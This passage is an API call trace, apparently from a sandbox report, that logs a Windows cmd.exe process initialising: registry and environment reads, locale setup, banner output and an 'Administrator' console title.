__alignment1=0xffffc68a, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0288.568] VirtualQuery (in: lpAddress=0xf9aae04000, lpBuffer=0xf9aaeffb20, dwLength=0x30 | out: lpBuffer=0xf9aaeffb20*(BaseAddress=0xf9aae04000, AllocationBase=0xf9aae00000, AllocationProtect=0x4, __alignment1=0xffffc68a, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0288.568] VirtualQuery (in: lpAddress=0xf9aaf00000, lpBuffer=0xf9aaeffb20, dwLength=0x30 | out: lpBuffer=0xf9aaeffb20*(BaseAddress=0xf9aaf00000, AllocationBase=0xf9aaf00000, AllocationProtect=0x4, __alignment1=0xffffc68a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0288.568] GetConsoleOutputCP () returned 0x1b5 [0288.846] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff78402fbb0 | out: lpCPInfo=0x7ff78402fbb0) returned 1 [0288.847] SetConsoleCtrlHandler (HandlerRoutine=0x7ff784018150, Add=1) returned 1 [0288.847] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0288.847] GetConsoleMode (in: hConsoleHandle=0xfa0, lpMode=0x7ff78402fc04 | out: lpMode=0x7ff78402fc04) returned 0 [0288.847] _get_osfhandle (_FileHandle=0) returned 0xf94 [0288.847] GetConsoleMode (in: hConsoleHandle=0xf94, lpMode=0x7ff78402fc00 | out: lpMode=0x7ff78402fc00) returned 0 [0288.847] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0288.847] SetConsoleMode (hConsoleHandle=0xfa0, dwMode=0x0) returned 0 [0288.847] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0288.847] GetConsoleMode (in: hConsoleHandle=0xfa0, lpMode=0x7ff78402fc08 | out: lpMode=0x7ff78402fc08) returned 0 [0288.847] _get_osfhandle (_FileHandle=0) returned 0xf94 [0288.847] GetConsoleMode (in: hConsoleHandle=0xf94, lpMode=0x7ff78402fc0c | out: lpMode=0x7ff78402fc0c) returned 0 [0288.847] GetEnvironmentStringsW () returned 0x29f96d25a10* [0288.847] GetProcessHeap () returned 0x29f96d20000 [0288.847] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x8, Size=0xa7c) returned 0x29f96d264a0 [0288.847] FreeEnvironmentStringsA (penv="A") returned 1 [0288.847] GetProcessHeap () returned 0x29f96d20000 [0288.847] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x8, Size=0x8) returned 0x29f96d26f30 [0288.848] GetEnvironmentStringsW () returned 0x29f96d25a10* [0288.848] GetProcessHeap () returned 0x29f96d20000 [0288.848] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x8, Size=0xa7c) returned 0x29f96d26f50 [0288.848] FreeEnvironmentStringsA (penv="A") returned 1 [0288.848] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xf9aaefea68 | out: phkResult=0xf9aaefea68*=0x7c) returned 0x0 [0288.848] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xf9aaefea60, lpData=0xf9aaefea80, lpcbData=0xf9aaefea64*=0x1000 | out: lpType=0xf9aaefea60*=0x0, lpData=0xf9aaefea80*=0x4, lpcbData=0xf9aaefea64*=0x1000) returned 0x2 [0288.848] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xf9aaefea60, lpData=0xf9aaefea80, lpcbData=0xf9aaefea64*=0x1000 | out: lpType=0xf9aaefea60*=0x4, lpData=0xf9aaefea80*=0x1, lpcbData=0xf9aaefea64*=0x4) returned 0x0 [0288.848] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xf9aaefea60, lpData=0xf9aaefea80, lpcbData=0xf9aaefea64*=0x1000 | out: lpType=0xf9aaefea60*=0x0, lpData=0xf9aaefea80*=0x1, lpcbData=0xf9aaefea64*=0x1000) returned 0x2 [0288.848] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xf9aaefea60, lpData=0xf9aaefea80, lpcbData=0xf9aaefea64*=0x1000 | out: lpType=0xf9aaefea60*=0x4, lpData=0xf9aaefea80*=0x0, lpcbData=0xf9aaefea64*=0x4) returned 0x0 [0288.848] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xf9aaefea60, lpData=0xf9aaefea80, lpcbData=0xf9aaefea64*=0x1000 | out: lpType=0xf9aaefea60*=0x4, lpData=0xf9aaefea80*=0x40, lpcbData=0xf9aaefea64*=0x4) returned 0x0 [0288.848] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xf9aaefea60, lpData=0xf9aaefea80, lpcbData=0xf9aaefea64*=0x1000 | out: lpType=0xf9aaefea60*=0x4, lpData=0xf9aaefea80*=0x40, lpcbData=0xf9aaefea64*=0x4) returned 0x0 [0288.848] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xf9aaefea60, lpData=0xf9aaefea80, lpcbData=0xf9aaefea64*=0x1000 | out: lpType=0xf9aaefea60*=0x0, lpData=0xf9aaefea80*=0x40, lpcbData=0xf9aaefea64*=0x1000) returned 0x2 [0288.848] RegCloseKey (hKey=0x7c) returned 0x0 [0288.848] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0xf9aaefea68 | out: phkResult=0xf9aaefea68*=0x7c) returned 0x0 [0288.848] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0xf9aaefea60, lpData=0xf9aaefea80, lpcbData=0xf9aaefea64*=0x1000 | out: lpType=0xf9aaefea60*=0x0, lpData=0xf9aaefea80*=0x40, lpcbData=0xf9aaefea64*=0x1000) returned 0x2 [0288.848] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0xf9aaefea60, lpData=0xf9aaefea80, lpcbData=0xf9aaefea64*=0x1000 | out: lpType=0xf9aaefea60*=0x4, lpData=0xf9aaefea80*=0x1, lpcbData=0xf9aaefea64*=0x4) returned 0x0 [0288.848] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0xf9aaefea60, lpData=0xf9aaefea80, lpcbData=0xf9aaefea64*=0x1000 | out: lpType=0xf9aaefea60*=0x0, lpData=0xf9aaefea80*=0x1, lpcbData=0xf9aaefea64*=0x1000) returned 0x2 [0288.848] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0xf9aaefea60, lpData=0xf9aaefea80, lpcbData=0xf9aaefea64*=0x1000 | out: lpType=0xf9aaefea60*=0x4, lpData=0xf9aaefea80*=0x0, lpcbData=0xf9aaefea64*=0x4) returned 0x0 [0288.849] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0xf9aaefea60, lpData=0xf9aaefea80, lpcbData=0xf9aaefea64*=0x1000 | out: lpType=0xf9aaefea60*=0x4, lpData=0xf9aaefea80*=0x9, lpcbData=0xf9aaefea64*=0x4) returned 0x0 [0288.849] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0xf9aaefea60, lpData=0xf9aaefea80, lpcbData=0xf9aaefea64*=0x1000 | out: lpType=0xf9aaefea60*=0x4, lpData=0xf9aaefea80*=0x9, lpcbData=0xf9aaefea64*=0x4) returned 0x0 [0288.849] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0xf9aaefea60, lpData=0xf9aaefea80, lpcbData=0xf9aaefea64*=0x1000 | out: lpType=0xf9aaefea60*=0x0, lpData=0xf9aaefea80*=0x9, lpcbData=0xf9aaefea64*=0x1000) returned 0x2 [0288.849] RegCloseKey (hKey=0x7c) returned 0x0 [0288.849] time (in: timer=0x0 | out: timer=0x0) returned 0x5ccc41b9 [0288.849] srand (_Seed=0x5ccc41b9) [0288.849] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0288.849] malloc (_Size=0x4000) returned 0x29f96f254f0 [0288.849] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0288.849] malloc (_Size=0xffce) returned 0x29f96e20080 [0288.850] ??_V@YAXPEAX@Z () returned 0x29f96e20080 [0288.850] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x29f96e20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0288.850] malloc (_Size=0xffce) returned 0x29f96e30060 [0288.851] ??_V@YAXPEAX@Z () returned 0x29f96e30060 [0288.851] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x29f96e30060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0288.851] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff78402bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0288.851] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff78402bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0288.851] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff78402bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0288.852] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0288.852] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0288.852] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0288.852] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0288.852] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0288.852] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0288.852] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0288.852] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0288.852] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0288.852] GetProcessHeap () returned 0x29f96d20000 [0288.852] RtlFreeHeap (HeapHandle=0x29f96d20000, Flags=0x0, BaseAddress=0x29f96d264a0) returned 1 [0288.852] GetEnvironmentStringsW () returned 0x29f96d25a10* [0288.852] GetProcessHeap () returned 0x29f96d20000 [0288.852] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x8, Size=0xa94) returned 0x29f96d27a10 [0288.852] FreeEnvironmentStringsA (penv="A") returned 1 [0288.852] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff78402bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0288.852] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff78402bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0288.852] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0288.852] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0288.852] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0288.852] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0288.852] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0288.852] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0288.852] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0288.852] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0288.853] malloc (_Size=0xffce) returned 0x29f96e40040 [0288.853] ??_V@YAXPEAX@Z () returned 0x29f96e40040 [0288.853] GetProcessHeap () returned 0x29f96d20000 [0288.853] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x8, Size=0x38) returned 0x29f96d284b0 [0288.853] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x29f96e40040 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0288.854] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x7fe7, lpBuffer=0x29f96e40040, lpFilePart=0xf9aaeff5e0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0xf9aaeff5e0*="system32") returned 0x13 [0288.854] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0288.854] FindFirstFileW (in: lpFileName="C:\\WINDOWS", lpFindFileData=0xf9aaeff310 | out: lpFindFileData=0xf9aaeff310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0x29f96d284f0 [0288.854] FindClose (in: hFindFile=0x29f96d284f0 | out: hFindFile=0x29f96d284f0) returned 1 [0288.854] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0xf9aaeff310 | out: lpFindFileData=0xf9aaeff310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x2b1f7a17, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x2b1f7a17, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System32", cAlternateFileName="")) returned 0x29f96d284f0 [0288.855] FindClose (in: hFindFile=0x29f96d284f0 | out: hFindFile=0x29f96d284f0) returned 1 [0288.855] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0288.855] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0288.855] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0288.855] GetProcessHeap () returned 0x29f96d20000 [0288.855] RtlFreeHeap (HeapHandle=0x29f96d20000, Flags=0x0, BaseAddress=0x29f96d27a10) returned 1 [0288.855] GetEnvironmentStringsW () returned 0x29f96d284f0* [0288.855] GetProcessHeap () returned 0x29f96d20000 [0288.855] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x8, Size=0xac4) returned 0x29f96d25a10 [0288.855] FreeEnvironmentStringsA (penv="=") returned 1 [0288.855] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x29f96e20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0288.855] GetProcessHeap () returned 0x29f96d20000 [0288.855] RtlFreeHeap (HeapHandle=0x29f96d20000, Flags=0x0, BaseAddress=0x29f96d284b0) returned 1 [0288.855] ??_V@YAXPEAX@Z () returned 0x1 [0288.855] ??_V@YAXPEAX@Z () returned 0x1 [0288.855] GetProcessHeap () returned 0x29f96d20000 [0288.855] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x8, Size=0x4016) returned 0x29f96d27a10 [0288.856] GetProcessHeap () returned 0x29f96d20000 [0288.856] RtlFreeHeap (HeapHandle=0x29f96d20000, Flags=0x0, BaseAddress=0x29f96d27a10) returned 1 [0288.856] GetConsoleOutputCP () returned 0x1b5 [0289.347] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff78402fbb0 | out: lpCPInfo=0x7ff78402fbb0) returned 1 [0289.347] GetUserDefaultLCID () returned 0x409 [0289.347] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff78402bb78, cchData=8 | out: lpLCData=":") returned 2 [0289.348] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xf9aaeff9a0, cchData=128 | out: lpLCData="0") returned 2 [0289.348] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xf9aaeff9a0, cchData=128 | out: lpLCData="0") returned 2 [0289.348] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xf9aaeff9a0, cchData=128 | out: lpLCData="1") returned 2 [0289.348] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff78402bb68, cchData=8 | out: lpLCData="/") returned 2 [0289.348] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff78402bb00, cchData=32 | out: lpLCData="Mon") returned 4 [0289.348] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff78402bac0, cchData=32 | out: lpLCData="Tue") returned 4 [0289.348] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff78402ba80, cchData=32 | out: lpLCData="Wed") returned 4 [0289.348] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff78402ba40, cchData=32 | out: lpLCData="Thu") returned 4 [0289.348] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff78402ba00, cchData=32 | out: lpLCData="Fri") returned 4 [0289.348] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff78402b9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0289.348] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff78402b980, cchData=32 | out: lpLCData="Sun") returned 4 [0289.348] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff78402bb58, cchData=8 | out: lpLCData=".") returned 2 [0289.348] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff78402bb40, cchData=8 | out: lpLCData=",") returned 2 [0289.348] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0289.350] GetProcessHeap () returned 0x29f96d20000 [0289.350] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x0, Size=0x20c) returned 0x29f96d26550 [0289.350] GetConsoleTitleW (in: lpConsoleTitle=0x29f96d26550, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0289.675] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0289.675] GetFileType (hFile=0xfa0) returned 0x3 [0289.675] ApiSetQueryApiSetPresence () returned 0x0 [0289.675] ResolveDelayLoadedAPI () returned 0x7ffa8e35d990 [0289.678] BrandingFormatString () returned 0x29f96d26c20 [0289.683] GetVersion () returned 0x3ad7000a [0289.683] _vsnwprintf (in: _Buffer=0xf9aaeffb00, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0xf9aaeffa98 | out: _Buffer="10.0.15063") returned 10 [0289.683] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0289.683] GetFileType (hFile=0xfa0) returned 0x3 [0289.683] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff784037f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0289.684] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff784037f60, nSize=0x2000, Arguments=0xf9aaeffaa0 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26 [0289.684] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0289.684] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff784029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39 [0289.684] WriteFile (in: hFile=0xfa0, lpBuffer=0x7ff784029970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0xf9aaeff9f8, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesWritten=0xf9aaeff9f8*=0x26, lpOverlapped=0x0) returned 1 [0289.684] _vsnwprintf (in: _Buffer=0x7ff784037f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xf9aaeffac8 | out: _Buffer="\r\n") returned 2 [0289.684] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0289.684] GetFileType (hFile=0xfa0) returned 0x3 [0289.684] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0289.684] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff784029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0289.684] WriteFile (in: hFile=0xfa0, lpBuffer=0x7ff784029970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xf9aaeffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesWritten=0xf9aaeffa98*=0x2, lpOverlapped=0x0) returned 1 [0289.684] _vsnwprintf (in: _Buffer=0x7ff784037f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0xf9aaeffac8 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52 [0289.684] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0289.684] GetFileType (hFile=0xfa0) returned 0x3 [0289.684] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0289.684] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff784029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53 [0289.684] WriteFile (in: hFile=0xfa0, lpBuffer=0x7ff784029970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xf9aaeffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesWritten=0xf9aaeffa98*=0x34, lpOverlapped=0x0) returned 1 [0289.684] _vsnwprintf (in: _Buffer=0x7ff784037f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xf9aaeffac8 | out: _Buffer="\r\n") returned 2 [0289.684] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0289.684] GetFileType (hFile=0xfa0) returned 0x3 [0289.684] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0289.684] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff784029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0289.684] WriteFile (in: hFile=0xfa0, lpBuffer=0x7ff784029970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xf9aaeffa98, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesWritten=0xf9aaeffa98*=0x2, lpOverlapped=0x0) returned 1 [0289.685] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffa96710000 [0289.685] GetProcAddress (hModule=0x7ffa96710000, lpProcName="CopyFileExW") returned 0x7ffa9672e830 [0289.685] GetProcAddress (hModule=0x7ffa96710000, lpProcName="IsDebuggerPresent") returned 0x7ffa9672e300 [0289.685] GetProcAddress (hModule=0x7ffa96710000, lpProcName="SetConsoleInputExeNameW") returned 0x7ffa961b0a40 [0289.685] ??_V@YAXPEAX@Z () returned 0x1 [0289.685] _get_osfhandle (_FileHandle=0) returned 0xf94 [0289.685] GetFileType (hFile=0xf94) returned 0x3 [0289.685] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0289.685] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0xf9aaeff908 | out: TokenHandle=0xf9aaeff908*=0x0) returned 0xc000007c [0289.685] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0xf9aaeff908 | out: TokenHandle=0xf9aaeff908*=0x94) returned 0x0 [0289.685] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x12, TokenInformation=0xf9aaeff8b8, TokenInformationLength=0x4, ReturnLength=0xf9aaeff8c0 | out: TokenInformation=0xf9aaeff8b8, ReturnLength=0xf9aaeff8c0) returned 0x0 [0289.685] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x1a, TokenInformation=0xf9aaeff8c0, TokenInformationLength=0x4, ReturnLength=0xf9aaeff8b8 | out: TokenInformation=0xf9aaeff8c0, ReturnLength=0xf9aaeff8b8) returned 0x0 [0289.685] NtClose (Handle=0x94) returned 0x0 [0289.685] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0xf9aaeff8d0, nSize=0x0, Arguments=0xf9aaeff8d8 | out: lpBuffer="渰雒ʟ") returned 0xf [0289.685] GetProcessHeap () returned 0x29f96d20000 [0289.685] RtlAllocateHeap (HeapHandle=0x29f96d20000, Flags=0x8, Size=0x218) returned 0x29f96d28bb0 [0289.686] GetConsoleTitleW (in: lpConsoleTitle=0xf9aaeff920, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0289.851] wcsstr (_Str="C:\\WINDOWS\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0289.851] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0289.979] GetProcessHeap () returned 0x29f96d20000 [0289.979] RtlFreeHeap (HeapHandle=0x29f96d20000, Flags=0x0, BaseAddress=0x29f96d28bb0) returned 1 [0289.979] LocalFree (hMem=0x29f96d26e30) returned 0x0 [0289.979] _vsnwprintf (in: _Buffer=0x7ff784037f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xf9aaeff748 | out: _Buffer="\r\n") returned 2 [0289.979] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0289.979] GetFileType (hFile=0xfa0) returned 0x3 [0289.979] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0289.979] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff784029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0289.979] WriteFile (in: hFile=0xfa0, lpBuffer=0x7ff784029970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xf9aaeff718, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesWritten=0xf9aaeff718*=0x2, lpOverlapped=0x0) returned 1 [0289.980] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff78402bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0289.980] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x29f96e20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0289.980] malloc (_Size=0x107ce) returned 0x29f96e30060 [0289.980] _vsnwprintf (in: _Buffer=0x29f96e30060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xf9aaeff758 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0289.980] _vsnwprintf (in: _Buffer=0x29f96e30086, _BufferCount=0x83d2, _Format="%c", _ArgList=0xf9aaeff758 | out: _Buffer=">") returned 1 [0289.980] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0289.980] GetFileType (hFile=0xfa0) returned 0x3 [0289.980] _get_osfhandle (_FileHandle=1) returned 0xfa0 [0289.980] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff784029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21 [0289.980] WriteFile (in: hFile=0xfa0, lpBuffer=0x7ff784029970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0xf9aaeff748, lpOverlapped=0x0 | out: lpBuffer=0x7ff784029970*, lpNumberOfBytesWritten=0xf9aaeff748*=0x14, lpOverlapped=0x0) returned 1 [0289.981] _get_osfhandle 